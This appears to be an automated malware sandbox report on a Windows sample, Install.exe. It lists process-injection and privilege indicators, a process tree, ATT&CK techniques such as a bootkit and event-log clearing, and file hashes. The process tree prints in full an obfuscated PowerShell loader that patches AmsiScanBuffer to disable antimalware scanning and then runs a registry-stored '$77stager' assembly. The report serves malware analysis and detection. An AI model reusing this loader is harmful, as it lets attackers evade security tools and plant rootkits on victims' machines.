svchost.exe Token: SeSystemEnvironmentPrivilege 2052 svchost.exe Token: SeUndockPrivilege 2052 svchost.exe Token: SeManageVolumePrivilege 2052 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2052 svchost.exe Token: SeIncreaseQuotaPrivilege 2052 svchost.exe Token: SeSecurityPrivilege 2052 svchost.exe Token: SeTakeOwnershipPrivilege 2052 svchost.exe Token: SeLoadDriverPrivilege 2052 svchost.exe Token: SeSystemtimePrivilege 2052 svchost.exe Token: SeBackupPrivilege 2052 svchost.exe Token: SeRestorePrivilege 2052 svchost.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
Processes:
Explorer.EXEpid Process 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
Explorer.EXEpid Process 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE 3488 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
powershell.EXEdllhost.exedescription pid Process procid_target PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3036 wrote to memory of 3056 3036 powershell.EXE 88 PID 3056 wrote to memory of 612 3056 dllhost.exe 5 PID 3056 wrote to memory of 672 3056 dllhost.exe 7 PID 3056 wrote to memory of 956 3056 dllhost.exe 12 PID 3056 wrote to memory of 316 3056 dllhost.exe 13 PID 3056 wrote to memory of 404 3056 dllhost.exe 14 PID 3056 wrote to memory of 1052 3056 dllhost.exe 16 PID 3056 wrote to memory of 1100 3056 dllhost.exe 17 PID 3056 wrote to memory of 1108 3056 dllhost.exe 18 PID 3056 wrote to memory of 1164 3056 dllhost.exe 19 PID 3056 wrote to memory of 1172 3056 dllhost.exe 20 PID 3056 wrote to memory of 1296 3056 dllhost.exe 21 PID 3056 wrote to memory of 1304 3056 dllhost.exe 22 PID 3056 wrote to memory of 1376 3056 dllhost.exe 23 PID 3056 wrote to memory of 1400 3056 dllhost.exe 24 PID 3056 wrote to memory of 1460 3056 dllhost.exe 25 PID 3056 wrote to memory of 1536 3056 dllhost.exe 26 PID 3056 wrote to memory of 1552 3056 dllhost.exe 27 PID 3056 wrote to memory of 1664 3056 dllhost.exe 28 PID 3056 wrote to memory of 1688 3056 dllhost.exe 29 PID 3056 wrote to memory of 1740 3056 dllhost.exe 30 PID 3056 wrote to memory of 1808 3056 dllhost.exe 31 PID 3056 wrote to memory of 1884 3056 dllhost.exe 32 PID 3056 wrote to memory of 2000 3056 dllhost.exe 33 PID 3056 wrote to memory of 2024 3056 dllhost.exe 34 PID 3056 wrote to memory of 1452 3056 dllhost.exe 35 PID 3056 wrote to memory of 1652 3056 dllhost.exe 36 PID 3056 wrote to memory of 2052 3056 dllhost.exe 37 PID 3056 wrote to memory of 2120 3056 dllhost.exe 38 PID 3056 wrote to memory of 2232 3056 dllhost.exe 40 PID 3056 wrote to memory of 2396 3056 dllhost.exe 41 PID 3056 wrote to memory of 2500 3056 dllhost.exe 42 PID 3056 wrote to memory of 2508 3056 dllhost.exe 43 PID 3056 wrote to memory of 2652 3056 dllhost.exe 44 PID 3056 wrote to memory of 2664 3056 dllhost.exe 45 PID 3056 wrote to memory of 2704 3056 dllhost.exe 46 PID 3056 wrote to memory of 2736 3056 dllhost.exe 47 PID 3056 wrote to memory of 2756 3056 dllhost.exe 48 PID 3056 wrote to memory of 2772 3056 dllhost.exe 49 PID 3056 wrote to memory of 2800 3056 dllhost.exe 50 PID 3056 wrote to memory of 2844 3056 dllhost.exe 51 PID 3056 wrote to memory of 3028 3056 dllhost.exe 52 PID 3056 wrote to memory of 3092 3056 dllhost.exe 53 PID 3056 wrote to memory of 3444 3056 dllhost.exe 55 PID 3056 wrote to memory of 3488 3056 dllhost.exe 56 PID 3056 wrote to memory of 3632 3056 dllhost.exe 57 PID 3056 wrote to memory of 3848 3056 dllhost.exe 58 PID 3056 wrote to memory of 4000 3056 dllhost.exe 60 PID 3056 wrote to memory of 3844 3056 dllhost.exe 62 PID 3056 wrote to memory of 3984 3056 dllhost.exe 65 PID 3056 wrote to memory of 4736 3056 dllhost.exe 66 PID 3056 wrote to memory of 3568 3056 dllhost.exe 68 PID 3056 wrote to memory of 4044 3056 dllhost.exe 69 PID 3056 wrote to memory of 2808 3056 dllhost.exe 70 PID 3056 wrote to memory of 3220 3056 dllhost.exe 71 PID 3056 wrote to memory of 2284 3056 dllhost.exe 72 PID 3056 wrote to memory of 2640 3056 dllhost.exe 73 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{77f9a766-73a7-46c3-944f-2df9eb0fac55}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3056
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:404
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1164 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2844
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KmrzxsbIskRx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$XZibCMrNgNXNHH,[Parameter(Position=1)][Type]$CyTaBSFaYD)$umlWVNwmdSY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+'l'+'e'+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+'p'+'e'+'',''+'C'+''+'l'+''+'a'+''+[Char](115)+'s,'+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+',S'+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+'d'+''+','+'Ans'+[Char](105)+''+'C'+''+[Char](108)+'a'+[Char](115)+'s,A'+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$umlWVNwmdSY.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e'+','+''+'H'+''+[Char](105)+'de'+[Char](66)+''+'y'+'S'+'i'+''+'g'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$XZibCMrNgNXNHH).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$umlWVNwmdSY.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+',H'+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+'S'+[Char](105)+''+'g'+''+[Char](44)+'Ne'+[Char](119)+'S'+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'al',$CyTaBSFaYD,$XZibCMrNgNXNHH).SetImplementationFlags(''+'R'+'u'+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $umlWVNwmdSY.CreateType();}$KtNfINHLPYtES=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'yst'+'e'+''+[Char](109)+''+'.'+'dl'+[Char](108)+'')}).GetType(''+'M'+''+'i'+'cr'+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+'eth'+[Char](111)+''+'d'+''+'s'+'');$nhEZPguzLSWQjh=$KtNfINHLPYtES.GetMethod(''+[Char](71)+'e'+'t'+''+'P'+''+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+''+'d'+'re'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+'at'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$DmPnBZfphfNucKutabd=KmrzxsbIskRx @([String])([IntPtr]);$rQIKjPuKHxkzrFZwnUIXIp=KmrzxsbIskRx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NgxVQxxsBcG=$KtNfINHLPYtES.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+'n'+''+'d'+'le').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+''+'e'+'l'+'3'+'2'+'.'+''+[Char](100)+''+'l'+'l')));$YXgDUQQTrJfEfc=$nhEZPguzLSWQjh.Invoke($Null,@([Object]$NgxVQxxsBcG,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+'b'+''+'r'+''+'a'+'ry'+'A'+'')));$oPjzZECaZjxKlxCKf=$nhEZPguzLSWQjh.Invoke($Null,@([Object]$NgxVQxxsBcG,[Object](''+[Char](86)+''+'i'+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$SRncrOX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YXgDUQQTrJfEfc,$DmPnBZfphfNucKutabd).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$gejiTDKDUXZsqrTUe=$nhEZPguzLSWQjh.Invoke($Null,@([Object]$SRncrOX,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](83)+'c'+'a'+'n'+[Char](66)+'u'+'f'+'f'+[Char](101)+''+'r'+'')));$sjOsLGhXal=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oPjzZECaZjxKlxCKf,$rQIKjPuKHxkzrFZwnUIXIp).Invoke($gejiTDKDUXZsqrTUe,[uint32]8,4,[ref]$sjOsLGhXal);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$gejiTDKDUXZsqrTUe,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($oPjzZECaZjxKlxCKf,$rQIKjPuKHxkzrFZwnUIXIp).Invoke($gejiTDKDUXZsqrTUe,[uint32]8,0x20,[ref]$sjOsLGhXal);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+'a'+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4916
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1376
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1460
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1552
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1688
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1452
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:2736
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3028
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3092
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3444
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3488 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"2⤵
- System Location Discovery: System Language Discovery
PID:4384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3632
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3848
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4000
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:3984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4044
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3220
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2284
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3120
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1040
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵PID:4260
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4872
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 5ebf90cfe976dede3a3907b75e2f9292 n6NjhQC210KUulrglNWfiw.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1544 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:448
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1000
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:3236
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:1364
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
- Drops file in Windows directory
PID:5084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4916
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4492
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:4300
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵PID:3660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:2932
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵PID:4504
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5020
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:392
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
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Downloads
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82